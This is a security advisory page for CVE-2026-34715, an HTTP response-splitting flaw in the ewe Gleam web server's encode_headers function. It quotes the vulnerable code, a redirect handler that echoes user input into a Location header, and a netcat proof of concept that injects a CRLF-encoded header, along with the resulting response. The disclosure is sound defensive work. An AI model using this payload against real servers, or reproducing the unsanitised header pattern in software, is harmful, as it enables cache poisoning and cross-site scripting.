CVE-2026-34715
MEDIUMCVSS VectorNVD
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Lifecycle Timeline
2DescriptionNVD
Summary
The encode_headers function in src/ewe/internal/encoder.gleam directly interpolates response header keys and values into raw HTTP bytes without validating or stripping CRLF (\r\n) sequences. An application that passes user-controlled data into response headers (e.g., setting a Location redirect header from a request parameter) allows an attacker to inject arbitrary HTTP response content, leading to response splitting, cache poisoning, and possible cross-site scripting.
Notably, ewe *does* validate CRLF in incoming request headers via validate_field_value() in the HTTP/1.1 parser - but provides no equivalent protection for outgoing response headers in the encoder.
Details
File: src/ewe/internal/encoder.gleam
Vulnerable code:
fn encode_headers(headers: List(#(String, String))) -> BitArray {
let headers =
list.fold(headers, <<>>, fn(acc, headers) {
let #(key, value) = headers
<<acc:bits, key:utf8, ": ", value:utf8, "\r\n">>
})
<<headers:bits, "\r\n">>
}Both key and value are embedded directly into the BitArray output. If either contains \r\n, the resulting bytes become a structurally valid but attacker-controlled HTTP response, terminating the current header early and injecting new headers or a second HTTP response.
Contrast with request parsing (src/ewe/internal/http1.gleam): incoming header values are protected:
use value <- try(
validate_field_value(value) |> replace_error(InvalidHeaders)
)No analogous validation exists for outgoing header values in the encoder. The solution is to strip or reject \r (0x0D) and \n (0x0A) from all header key and value strings in encode_headers before encoding, mirroring the validation already applied to incoming request headers via validate_field_value()
PoC
An ewe application echoes a user-supplied redirect URL into a Location header:
fn handle_request(req: Request) -> Response {
let redirect_url =
request.get_query(req)
|> result.try(list.key_find(_, "next"))
|> result.unwrap("/home")
response.new(302)
|> response.set_header("location", redirect_url)
|> response.set_body(ewe.Empty)
}Attacker request:
printf 'GET /?next=https://example.com%%0d%%0aX-Injected:%%20true HTTP/1.1\r\nHost: localhost\r\n\r\n' | nc -w 2 localhost 8080Resulting response:
HTTP/1.1 302 Found
location: https://example.com
X-Injected: true
content-length: 0
date: Tue, 24 Mar 2026 07:53:00 GMT
connection: keep-alive
The X-Injected: true header appears as a separate response header, confirming that CRLF sequences in user input are not sanitized by the encoder.
AnalysisAI
HTTP response splitting in ewe's encode_headers function allows remote attackers to inject arbitrary HTTP response headers and content by embedding CRLF sequences in user-controlled response header values, enabling cache poisoning and cross-site scripting attacks. The vulnerability affects ewe versions that do not validate outgoing response header keys and values, despite implementing equivalent validation for incoming request headers. …
Sign in for full analysis, threat intelligence, and remediation guidance.
Share
External POC / Exploit Code
Leaving vuln.today
GHSA-x2w3-23jr-hrpf